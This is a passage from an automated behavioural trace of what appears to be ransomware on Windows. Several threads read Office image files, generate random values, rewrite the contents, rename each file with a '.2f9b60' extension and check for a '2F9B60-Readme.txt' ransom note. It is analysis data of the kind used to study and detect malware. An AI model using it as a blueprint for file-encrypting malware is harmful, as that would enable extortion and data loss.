Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x3c6e27c7 [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x2968e002 [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x1fdc6f6f [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x566f2218 [0141.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0141.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb40 [0141.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0141.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e89a0 [0141.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ec5b0 [0141.124] ReadFile (in: hFile=0x1af4, lpBuffer=0x421e89a0, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x2c2cf630, lpOverlapped=0x0 | out: lpBuffer=0x421e89a0*, lpNumberOfBytesRead=0x2c2cf630*=0x540, lpOverlapped=0x0) returned 1 [0141.124] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.124] WriteFile (in: hFile=0x1af4, lpBuffer=0x421ec5b0*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c2cf634, lpOverlapped=0x0 | out: lpBuffer=0x421ec5b0*, lpNumberOfBytesWritten=0x2c2cf634*=0x540, lpOverlapped=0x0) returned 1 [0141.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0141.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0141.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0141.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ec5b0) returned 1 [0141.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e89a0) returned 1 [0141.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9dc70 [0141.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0141.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0141.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9df70 [0141.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0141.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0141.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0141.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x136) returned 0x188850 [0141.146] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.146] WriteFile (in: hFile=0x1af4, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2c2cf750, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x2c2cf750*=0x136, lpOverlapped=0x0) returned 1 [0141.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0141.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df70) returned 1 [0141.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0141.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dc70) returned 1 [0141.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0141.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdba0) returned 1 [0141.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0141.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb40) returned 1 [0141.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1cecf940 [0141.165] wcscpy (in: _Dest=0x1cecf940, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" [0141.165] wcscat (in: _Dest=0x1cecf940, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.2f9b60" [0141.165] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.2f9b60", NtPathName=0x2c2cf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb5030 [0141.165] NtSetInformationFile (FileHandle=0x1af4, IoStatusBlock=0x2c2cf810, FileInformation=0x1ceb5030, Length=0xe8, FileInformationClass=0xa) returned 0x0 [0145.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5030) returned 1 [0145.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced4510) returned 1 [0145.418] NtQueryInformationFile (in: FileHandle=0x1af4, IoStatusBlock=0x2c2cf7d8, FileInformation=0x2c2cf7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c2cf7d8, FileInformation=0x2c2cf7e8) returned 0x0 [0145.418] NtSetInformationFile (FileHandle=0x1af4, IoStatusBlock=0x2c2cf7d8, FileInformation=0x2c2cf7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf940) returned 1 [0145.423] FlushFileBuffers (hFile=0x1af4) returned 1 [0145.429] CloseHandle (hObject=0x1af4) returned 1 [0145.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce123c0 [0145.431] wcscpy (in: _Dest=0x1ce123c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.431] wcscat (in: _Dest=0x1ce123c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce123c0) returned 1 [0147.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119a60) returned 1 Thread: id = 1881 os_tid = 0x1024 [0133.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg")) returned 0x20 [0136.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg", dwFileAttributes=0x20) returned 1 [0138.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fb0 [0142.124] GetFileSizeEx (in: hFile=0x1fb0, lpFileSize=0x2c7bfb00 | out: lpFileSize=0x2c7bfb00*=9733) returned 1 [0142.124] SetFilePointerEx (in: hFile=0x1fb0, liDistanceToMove=0x2601, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.124] ReadFile (in: hFile=0x1fb0, lpBuffer=0x2c7bfa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c7bfac8, lpOverlapped=0x0 | out: lpBuffer=0x2c7bfa80*, lpNumberOfBytesRead=0x2c7bfac8*=0x4, lpOverlapped=0x0) returned 1 [0142.146] SetFilePointerEx (in: hFile=0x1fb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe8c0 [0142.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe950 [0142.147] NtQuerySystemTime (in: CurrentTime=0x2c7bf9c0 | out: CurrentTime=0x2c7bf9c0*=132462177473806000) returned 0x0 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x5bba215a [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x78451c72 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x1fdf3e7 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x5577643d [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x2f323156 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x1968d801 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x705abf82 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x617ba324 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x2310b66b [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x769e36f9 [0142.147] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x3621ad05 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x32e042ae [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x5586a3a3 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x1ef0d745 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x59c98873 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x6d3c0c1b [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x410ba9f7 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x1c217979 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0xc40ab0f [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x5c68a2fc [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0xe061689 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x5605ed1c [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x513a8ea6 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x661989f5 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0xebe5244 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x2d3d16b7 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x29efed9 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x58d488c8 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x3bacd239 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x4aecd75 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x14cff959 [0142.148] RtlRandomEx (in: Seed=0x2c7bf9b0 | out: Seed=0x2c7bf9b0) returned 0x6759f44e [0142.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe980 [0142.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420615b0 [0142.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe9b0 [0142.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0142.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe950) returned 1 [0142.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0142.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420615b0 [0142.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42229960 [0142.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4222d570 [0142.159] ReadFile (in: hFile=0x1fb0, lpBuffer=0x42229960, nNumberOfBytesToRead=0x2605, lpNumberOfBytesRead=0x2c7bf9b0, lpOverlapped=0x0 | out: lpBuffer=0x42229960*, lpNumberOfBytesRead=0x2c7bf9b0*=0x2605, lpOverlapped=0x0) returned 1 [0142.174] SetFilePointerEx (in: hFile=0x1fb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.174] WriteFile (in: hFile=0x1fb0, lpBuffer=0x4222d570*, nNumberOfBytesToWrite=0x2605, lpNumberOfBytesWritten=0x2c7bf9b4, lpOverlapped=0x0 | out: lpBuffer=0x4222d570*, lpNumberOfBytesWritten=0x2c7bf9b4*=0x2605, lpOverlapped=0x0) returned 1 [0143.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264920 [0143.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264890 [0143.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264890) returned 1 [0143.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4222d570) returned 1 [0143.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42229960) returned 1 [0143.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0143.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0143.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20264890 [0143.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0143.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420615b0 [0143.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0143.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202647d0 [0143.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264830 [0143.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647a0 [0143.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647a0) returned 1 [0143.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0143.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x167ee0 [0143.342] SetFilePointerEx (in: hFile=0x1fb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.342] WriteFile (in: hFile=0x1fb0, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2c7bfad0, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x2c7bfad0*=0x10c, lpOverlapped=0x0) returned 1 [0143.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ee0) returned 1 [0143.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0143.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264830) returned 1 [0143.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264890) returned 1 [0143.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264920) returned 1 [0143.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe8c0) returned 1 [0143.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe980) returned 1 [0143.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe9b0) returned 1 [0143.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050d160 [0143.560] wcscpy (in: _Dest=0x2050d160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" [0143.560] wcscat (in: _Dest=0x2050d160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.2f9b60" [0143.560] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.2f9b60", NtPathName=0x2c7bfaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205ece0 [0143.561] NtSetInformationFile (FileHandle=0x1fb0, IoStatusBlock=0x2c7bfb90, FileInformation=0x4205ece0, Length=0xbe, FileInformationClass=0xa) returned 0x0 [0145.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ece0) returned 1 [0145.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052740) returned 1 [0145.374] NtQueryInformationFile (in: FileHandle=0x1fb0, IoStatusBlock=0x2c7bfb58, FileInformation=0x2c7bfb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c7bfb58, FileInformation=0x2c7bfb68) returned 0x0 [0145.374] NtSetInformationFile (FileHandle=0x1fb0, IoStatusBlock=0x2c7bfb58, FileInformation=0x2c7bfb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d160) returned 1 [0145.394] FlushFileBuffers (hFile=0x1fb0) returned 1 [0145.404] CloseHandle (hObject=0x1fb0) returned 1 [0145.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce125d0 [0145.405] wcscpy (in: _Dest=0x1ce125d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.405] wcscat (in: _Dest=0x1ce125d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce125d0) returned 1 [0147.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dc30) returned 1 Thread: id = 1882 os_tid = 0x1028 [0133.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp")) returned 0x20 [0136.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp", dwFileAttributes=0x20) returned 1 [0138.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0144.204] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2c8df9a0 | out: lpFileSize=0x2c8df9a0*=2104) returned 1 [0144.204] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.204] ReadFile (in: hFile=0x1ac0, lpBuffer=0x2c8df920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c8df968, lpOverlapped=0x0 | out: lpBuffer=0x2c8df920*, lpNumberOfBytesRead=0x2c8df968*=0x4, lpOverlapped=0x0) returned 1 [0144.301] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0144.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0144.302] NtQuerySystemTime (in: CurrentTime=0x2c8df860 | out: CurrentTime=0x2c8df860*=132462177495490000) returned 0x0 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x3a1b8197 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x1ffbe1ba [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x6a4285a4 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x4aa8eae2 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0xad007ab [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x2f1dcd5 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x43b0811a [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x6e50bba8 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x5d8610e8 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x7d680b5f [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x70b9bf55 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x38b6a63e [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x4a0ed995 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x58a3cd32 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x6104c959 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x2481c47b [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x2c8e22e2 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x30bd9f0 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x6d4b38db [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x34c3c21e [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x4b55d6be [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: 